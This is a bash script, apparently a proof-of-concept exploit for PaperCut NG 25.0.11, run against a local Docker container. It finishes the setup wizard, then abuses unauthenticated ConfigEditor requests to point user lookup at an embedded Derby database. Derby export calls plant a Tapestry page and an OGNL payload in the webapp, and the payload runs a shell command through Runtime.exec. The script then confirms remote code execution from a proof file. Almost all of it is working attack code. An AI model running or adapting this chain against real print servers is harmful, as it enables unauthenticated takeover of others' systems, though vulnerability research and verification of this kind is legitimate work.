#!/bin/bash
# Attack-only run against a fresh PaperCut NG 25.0.11 container.
# Usage: derive_attack.sh <hostport> <outdir>   (container pcng-derive must not exist)
# Writes <outdir>/proof.txt (remote HTTP command receipt, contains unique hostname)
set -euo pipefail
PORT="$1"; OUT="$2"
BASE="http://localhost:$PORT"
mkdir -p "$OUT"
docker rm -f pcng-derive >/dev/null 2>&1 || true
docker run -d --name pcng-derive -p "$PORT:9191" pcng-vuln >/dev/null
for i in $(seq 1 90); do
  code=$(curl -sk -o /dev/null -w '%{http_code}' -m 5 "$BASE/" || echo 000)
  { [ "$code" = "302" ] || [ "$code" = "200" ]; } && break; sleep 3
done
CJ="$OUT/cookies"
post() { local out="$1"; shift; curl -sk -b "$CJ" -c "$CJ" -m 30 -o "$out" "$BASE/app" -H "Origin: $BASE" -H "Referer: $BASE/app" "$@"; }
rm -f "$CJ"; curl -sk -c "$CJ" -m 15 -o /dev/null -L "$BASE/app"
# stock setup wizard
post /dev/null --data-urlencode 'service=direct/1/SetupAdmin/$Form' --data-urlencode 'sp=S0' --data-urlencode 'Form0=password,passwordVerify,$PropertySelection,$Submit' --data-urlencode 'password=PaperCut0day!' --data-urlencode 'passwordVerify=PaperCut0day!' --data-urlencode '$Submit=Next'
post /dev/null --data-urlencode 'service=direct/1/SetupOrgType/$Form' --data-urlencode 'sp=S0' --data-urlencode 'Form0=$RadioGroup,$Submit,$Submit$0' --data-urlencode '$RadioGroup=0' --data-urlencode '$Submit=Next'
post /dev/null --data-urlencode 'service=direct/1/SetupPrintCost/$Form' --data-urlencode 'sp=S0' --data-urlencode 'Form0=defaultColorPageCost,defaultGrayscalePageCost,$Submit,$Submit$0' --data-urlencode 'defaultColorPageCost=$0.00' --data-urlencode 'defaultGrayscalePageCost=$0.00' --data-urlencode '$Submit=Next'
post /dev/null --data-urlencode 'service=direct/1/SetupUserCredit/$Form' --data-urlencode 'sp=S0' --data-urlencode 'Form0=initialCredit,restricted,$Submit,$Submit$0' --data-urlencode 'initialCredit=$0.00' --data-urlencode 'restricted=on' --data-urlencode '$Submit=Next'
post /dev/null --data-urlencode 'service=direct/1/SetupUserSource/$Form' --data-urlencode 'sp=S0' --data-urlencode 'Form0=$RadioGroup,$Select,$LinkSubmit,$Submit,$Submit$0' --data-urlencode '$RadioGroup=0' --data-urlencode '$Select=0' --data-urlencode '$Submit=Next'
post /dev/null --data-urlencode 'service=direct/1/SetupVerify/$Form' --data-urlencode 'sp=S0' --data-urlencode 'Form0=$Submit,$Submit$0' --data-urlencode '$Submit=Confirm'
sleep 3
post /dev/null --data-urlencode 'service=direct/1/SetupCompleted/$Form' --data-urlencode 'sp=S0' --data-urlencode 'Form0=$Hidden,analyticsEnabled,$Submit' --data-urlencode '$Hidden=F' --data-urlencode '$Submit=Login'
# operator-side: admin login + render ConfigEditor once (warm Tapestry pool)
ACJ="$OUT/admin-cookies"; rm -f "$ACJ"; curl -sk -c "$ACJ" -m 15 -o /dev/null -L "$BASE/app"
curl -sk -b "$ACJ" -c "$ACJ" -m 15 -o /dev/null "$BASE/app" -H "Origin: $BASE" -H "Referer: $BASE/app" \
  --data-urlencode 'service=direct/1/Home/$Form' --data-urlencode 'sp=S0' \
  --data-urlencode 'Form0=$Hidden$0,$Hidden$1,inputUsername,inputPassword,$Submit$0,$PropertySelection' \
  --data-urlencode '$Hidden$0=F' --data-urlencode '$Hidden$1=X' \
  --data-urlencode 'inputUsername=admin' --data-urlencode 'inputPassword=PaperCut0day!' --data-urlencode '$Submit$0=Log in'
curl -sk -b "$ACJ" -c "$ACJ" -m 15 -o /dev/null "$BASE/app?service=page/ConfigEditor"
# unauth helpers
qf() { curl -sk -b "$CJ" -c "$CJ" -m 15 -o /dev/null "$BASE/app" -H "Origin: $BASE" -H "Referer: $BASE/app" \
  --data-urlencode 'service=direct/1/Home/ConfigEditor/quickFindForm' --data-urlencode 'sp=S0' \
  --data-urlencode 'Form0=$TextField,doQuickFind,clear' --data-urlencode "\$TextField=$1" --data-urlencode 'doQuickFind=GO'; }
ed1() { curl -sk -b "$CJ" -c "$CJ" -m 15 -o /dev/null "$BASE/app" -H "Origin: $BASE" -H "Referer: $BASE/app" \
  --data-urlencode 'service=direct/1/Home/ConfigEditor/$Form' --data-urlencode 'sp=S1' \
  --data-urlencode 'Form1=$TextField$0,$Submit,$Submit$0' --data-urlencode "\$TextField\$0=$1" --data-urlencode '$Submit=Update'; }
ed2() { curl -sk -b "$CJ" -c "$CJ" -m 15 -o /dev/null "$BASE/app" -H "Origin: $BASE" -H "Referer: $BASE/app" \
  --data-urlencode 'service=direct/1/Home/ConfigEditor/$Form' --data-urlencode 'sp=S1' \
  --data-urlencode 'Form1=$TextField$0,$Submit,$Submit$0,$TextField$0$0,$Submit$1,$Submit$0$0' \
  --data-urlencode "\$TextField\$0=$1" --data-urlencode '$Submit=Update' --data-urlencode '$TextField$0$0=USERNAME'; }
getval() { curl -sk -b "$ACJ" -c "$ACJ" -m 15 "$BASE/app" -H "Origin: $BASE" -H "Referer: $BASE/app" \
  --data-urlencode 'service=direct/1/ConfigEditor/quickFindForm' --data-urlencode 'sp=S0' \
  --data-urlencode 'Form0=$TextField,doQuickFind,clear' --data-urlencode "\$TextField=$1" --data-urlencode 'doQuickFind=GO' | grep -oE "value=\"[^\"]*\"[^>]*id=\"$1-field\"" | head -1 | sed -E 's/.*value="([^"]*)".*/\1/'; }
setkey() { local i v; for i in 1 2 3 4 5 6 7 8; do
  rm -f "$CJ"; curl -sk -c "$CJ" -m 15 -o /dev/null -L "$BASE/app"
  qf "$1"; sleep 1
  if [ "${3:-1}" = "2" ]; then ed2 "$2"; else ed1 "$2"; fi
  sleep 1; v=$(getval "$1"); [ "$v" = "$2" ] && { echo "set $1 ok"; return 0; }
  done; echo "set $1 FAILED"; return 1; }
card() { rm -f "$CJ"; curl -sk -c "$CJ" -m 15 -o /dev/null -L "$BASE/app"; sleep 1
  curl -sk -b "$CJ" -c "$CJ" -m 40 -o /dev/null "$BASE/app" -H "Origin: $BASE" -H "Referer: $BASE/app" \
  --data-urlencode 'service=direct/1/Home/$Form' --data-urlencode 'sp=S0' \
  --data-urlencode 'Form0=$Hidden$0,$Hidden$1,inputUsername,inputPassword,$Submit$0,$PropertySelection' \
  --data-urlencode '$Hidden$0=F' --data-urlencode '$Hidden$1=X' \
  --data-urlencode "inputUsername=$1" --data-urlencode 'inputPassword=' --data-urlencode '$Submit$0=Log in'; sleep 1; }

setkey user-lookup.enabled Y
setkey user-lookup.db-driver org.apache.derby.jdbc.EmbeddedDriver
setkey user-lookup.db-url 'jdbc:derby:/tmp/pc0day;create=true'
setkey user-lookup.db-username x
setkey auth.web-login.card-id.enable Y
setkey auth.web-login.card-id.pin-required N
WEBAPP=/home/papercut/server/tmp/webapp-75758
setkey user-lookup.id-to-username-sql "CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber},'/tmp/d-a.csv',NULL,NULL,NULL,'$WEBAPP/WEB-INF/Pwn3.page')" 2
card "VALUES(CAST('<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE page-specification PUBLIC \"-//Apache Software Foundation//Tapestry Specification 3.0//EN\" \"http://jakarta.apache.org/tapestry/dtd/Tapestry_3_0.dtd\"><page-specification class=\"org.apache.tapestry.html.BasePage\"/>' AS CLOB))"
docker exec pcng-derive bash -c "test -f $WEBAPP/WEB-INF/Pwn3.page"
OGNL=$(python3 - <<'PYEOF'
def bs(s): return "new java.lang.String(new byte[]{"+",".join(str(b) for b in s.encode())+"})"
cmd="{ echo PC0DAY-PROOF-BEGIN; id; uname -a; cat /proc/1/comm; echo PC0DAY-PROOF-END; } > /home/papercut/server/tmp/webapp-75758/pwn-proof.txt 2>&1"
print("@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{"+bs("/bin/sh")+","+bs("-c")+","+bs(cmd)+"})")
PYEOF
)
setkey user-lookup.id-to-username-sql "CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber},'/tmp/d-b.csv',NULL,NULL,NULL,'$WEBAPP/Pwn3.html')" 2
card "VALUES(CAST('<html><body><span jwcid=\"@Insert\" value=\"ognl:$OGNL\" /></body></html>' AS CLOB))"
docker exec pcng-derive bash -c "test -f $WEBAPP/Pwn3.html"
curl -sk -m 20 -o /dev/null -w "render:%{http_code}\n" "$BASE/app?service=page/Pwn3"
sleep 2
curl -sk -m 15 -o "$OUT/proof.txt" -w "proof:%{http_code}\n" "$BASE/pwn-proof.txt"
grep -q "uid=1001(papercut)" "$OUT/proof.txt" && echo "RCE CONFIRMED: $OUT/proof.txt"
docker exec pcng-derive bash -c 'grep -c pc-app /proc/1/comm; ps -eo comm | grep -c java' > "$OUT/process-evidence.txt" 2>/dev/null || true
docker rm -f pcng-derive >/dev/null 2>&1 || true
